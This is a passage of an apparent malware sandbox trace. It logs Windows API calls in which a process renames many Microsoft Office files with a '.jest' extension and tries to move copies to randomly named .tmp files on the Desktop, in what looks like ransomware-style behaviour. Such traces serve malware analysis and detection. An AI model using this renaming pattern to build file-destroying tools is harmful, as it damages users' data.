ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="մ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.053] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_public_primary_ca.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_public_primary_ca.cer.jest")) returned 1 [0171.056] VarBstrFromR4 (in: fltIn=0x47945a4f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.62") returned 0x0 [0171.056] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_public_primary_ca.cer"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LOXpdVWsJ Hwx9TXA4k6 QE6vxx3Ip7Cj_T7t 35o4V-wSCw2EepQvT5ykGriMdclwptCj8NiADsojrZEHD7q9XJw4kKYsMi8Gdpf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\loxpdvwsj hwx9txa4k6 qe6vxx3ip7cj_t7t 35o4v-wscw2eepqvt5ykgrimdclwptcj8niadsojrzehd7q9xjw4kkysmi8gdpf.tmp")) returned 0 [0171.057] GetLastError () returned 0x2 [0171.057] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="๺\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.057] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.jest" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.jest")) returned 1 [0171.061] VarBstrFromR4 (in: fltIn=0x47945a4f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.62") returned 0x0 [0171.062] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SZQXE9uyS6VkTUD3gXIaj0vEH2N4dyylgUnfa5uA86qOj9xNPSXM_IxYEwkH8x2fWaQ066pv0ZgorePWEqh_C ouD -CCJzyOz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\szqxe9uys6vktud3gxiaj0veh2n4dyylgunfa5ua86qoj9xnpsxm_ixyewkh8x2fwaq066pv0zgorepweqh_c oud -ccjzyoz.tmp")) returned 0 [0171.062] GetLastError () returned 0x2 [0171.063] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.063] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.css.jest")) returned 1 [0171.066] VarBstrFromR4 (in: fltIn=0x47945a51, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.63") returned 0x0 [0171.067] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KhRK_6IMl8JAeux0biGayTISTic68W5SlmsHOZ5X9t6fN-YuEztHsOc1YYqjkwQE-eg0xVy1yIFllmSksdzWZQ BYjFkseLZvCCHc.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\khrk_6iml8jaeux0bigaytistic68w5slmshoz5x9t6fn-yuezthsoc1yyqjkwqe-eg0xvy1yifllmsksdzwzq byjfkselzvcchc.tmp")) returned 0 [0171.067] GetLastError () returned 0x2 [0171.068] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.068] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewheaderpreview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\ViewHeaderPreview.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewheaderpreview.jpg.jest")) returned 1 [0171.070] VarBstrFromR4 (in: fltIn=0x47945a51, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.63") returned 0x0 [0171.071] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewheaderpreview.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KF7lFTKCL2muzU-iwKyF8GP EdDyIvP34cBdAPDw7Rt KRtvBwXobETfIsf9KKnJsw5wyyef_UU_yrz17ZxsyW_NOyZHPFo6eJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kf7lftkcl2muzu-iwkyf8gp eddyivp34cbdapdw7rt krtvbwxobetfisf9kknjsw5wyyef_uu_yrz17zxsyw_noyzhpfo6ej.tmp")) returned 0 [0171.071] GetLastError () returned 0x2 [0171.071] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.072] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\viewheaderpreview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ViewHeaderPreview.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\viewheaderpreview.jpg.jest")) returned 1 [0171.077] VarBstrFromR4 (in: fltIn=0x47945a51, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.63") returned 0x0 [0171.078] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\viewheaderpreview.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zwb-0bL_iwQ_YGE4h9BYQowWDyHDEHmhPgWkvh82d2UdYjp55ZFzK2c4AwkFnHpisIP-4uhDK6q2HR4T4pBVoRjtKUwS3qD2mniBb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zwb-0bl_iwq_yge4h9byqowwdyhdehmhpgwkvh82d2udyjp55zfzk2c4awkfnhpisip-4uhdk6q2hr4t4pbvorjtkuws3qd2mnibb.tmp")) returned 0 [0171.078] GetLastError () returned 0x2 [0171.079] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.079] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\viewheaderpreview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\viewheaderpreview.jpg.jest")) returned 1 [0171.083] VarBstrFromR4 (in: fltIn=0x47945a53, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.65") returned 0x0 [0171.084] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\viewheaderpreview.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X0WUozumVZUXCNLISTgHJWvA-yKxhee4koBscE9I2IuIa7puj2lXh4ygOBBoxk9tvJ2J-XUy3jzuHEFEZrczZz6PGBdWjJCOCZ8K2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x0wuozumvzuxcnlistghjwva-ykxhee4kobsce9i2iuia7puj2lxh4ygobboxk9tvj2j-xuy3jzuhefezrczzz6pgbdwjjcocz8k2.tmp")) returned 0 [0171.084] GetLastError () returned 0x2 [0171.084] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="մ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.085] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\vs_componentsigningintermediate.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\vs_componentsigningintermediate.cer.jest")) returned 1 [0171.087] VarBstrFromR4 (in: fltIn=0x47945a53, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.65") returned 0x0 [0171.088] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\vs_componentsigningintermediate.cer"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\22PY3lm8o JhB1TEs2XhWOSd3bBYhkli-GbXAuIPxIbl5gDi4TTIEX_u2X9wGNNOzfzhxkoQj8o8wl3E36E1eHqeNmiwXANfYlM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\22py3lm8o jhb1tes2xhwosd3bbyhkli-gbxauipxibl5gdi4ttiex_u2x9wgnnozfzhxkoqj8o8wl3e36e1ehqenmiwxanfylm.tmp")) returned 0 [0171.088] GetLastError () returned 0x2 [0171.089] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.090] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\wans.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\wans.net.xml.jest")) returned 1 [0171.092] VarBstrFromR4 (in: fltIn=0x47945a53, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.65") returned 0x0 [0171.093] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\wans.net.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\llRtJSd7DcDmv3idsRcXLWsyfa5wrlcrfLFW5lNPu94029m0JbtXxpFBw0sR1W2Y68tva9PA9xQkLu_QMEpCr1SeNPLV9lp-Ozr7C.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\llrtjsd7dcdmv3idsrcxlwsyfa5wrlcrflfw5lnpu94029m0jbtxxpfbw0sr1w2y68tva9pa9xqklu_qmepcr1senplv9lp-ozr7c.tmp")) returned 0 [0171.093] GetLastError () returned 0x2 [0171.097] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.097] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg.jest")) returned 1 [0171.100] VarBstrFromR4 (in: fltIn=0x47945a55, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.66") returned 0x0 [0171.101] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4oRwhhZXi6DLR3zKls9 W puGKTTfbYsPdmvVoY2m0z6fHpfvJw4OjYpB_T0OeiC0fmKyj0KOP9F_yH4KK UnFL4l0sLGpLmfRWq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4orwhhzxi6dlr3zkls9 w pugkttfbyspdmvvoy2m0z6fhpfvjw4ojypb_t0oeic0fmkyj0kop9f_yh4kk unfl4l0slgplmfrwq.tmp")) returned 0 [0171.101] GetLastError () returned 0x2 [0171.102] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.102] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.xml.jest")) returned 1 [0171.104] VarBstrFromR4 (in: fltIn=0x47945a55, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.66") returned 0x0 [0171.105] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vZDbL2-iS_HtbOU301v7UJ-VPkdGRq49V8YPLibgzeSZB6kKbwAjbZUDW5NtLastTNBDBmS_UymwSC3Elc_dRU-6i92Bv06o40gCI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vzdbl2-is_htbou301v7uj-vpkdgrq49v8yplibgzeszb6kkbwajbzudw5ntlasttnbdbms_uymwsc3elc_dru-6i92bv06o40gci.tmp")) returned 0 [0171.105] GetLastError () returned 0x2 [0171.106] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="׉\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.106] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.107] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\wordirmv.xml.jest")) returned 1 [0171.109] VarBstrFromR4 (in: fltIn=0x47945a55, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.66") returned 0x0 [0171.110] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirmv.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\24BPfZ1tXx_ES9n9iIs3ukDAhprPYx34dlQQ4il_cgC3YqqAyZMczBW GTsYUE9Y5XxWW93EC7bJ9czB6HQ3s4NpXTiVAQU5qVK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\24bpfz1txx_es9n9iis3ukdahprpyx34dlqq4il_cgc3yqqayzmczbw gtsyue9y5xxww93ec7bj9czb6hq3s4npxtivaqu5qvk.tmp")) returned 0 [0171.110] GetLastError () returned 0x2 [0171.111] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="׌\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.112] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ໟ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.113] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg.jest")) returned 1 [0171.115] VarBstrFromR4 (in: fltIn=0x47945a57, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.68") returned 0x0 [0171.116] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4ftQ4EJ-imVC5pkgJNDzzL2 sPzNKPEbl3Er5Eb G_OMRK9rDRqlSG DLiJWIkdQ48xOfxV10CwkSSBV9DElUwqwdJZfM6diKqSv .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4ftq4ej-imvc5pkgjndzzl2 spznkpebl3er5eb g_omrk9rdrqlsg dlijwikdq48xofxv10cwkssbv9deluwqwdjzfm6dikqsv .tmp")) returned 0 [0171.116] GetLastError () returned 0x2 [0171.117] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.117] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg.jest")) returned 1 [0171.119] VarBstrFromR4 (in: fltIn=0x47945a57, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.68") returned 0x0 [0171.120] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2ssz gCW9LugHq FEi4uUmIKdB2b92nhVoPOVuG F0cJxWt_x5l3OTx O8O2itUmW3eWnBUblJT0qCngVhuuxPJ0O2lrEItu7r_C.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2ssz gcw9lughq fei4uumikdb2b92nhvopovug f0cjxwt_x5l3otx o8o2itumw3ewnbubljt0qcngvhuuxpj0o2lreitu7r_c.tmp")) returned 0 [0171.121] GetLastError () returned 0x2 [0171.121] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ט\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.122] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, 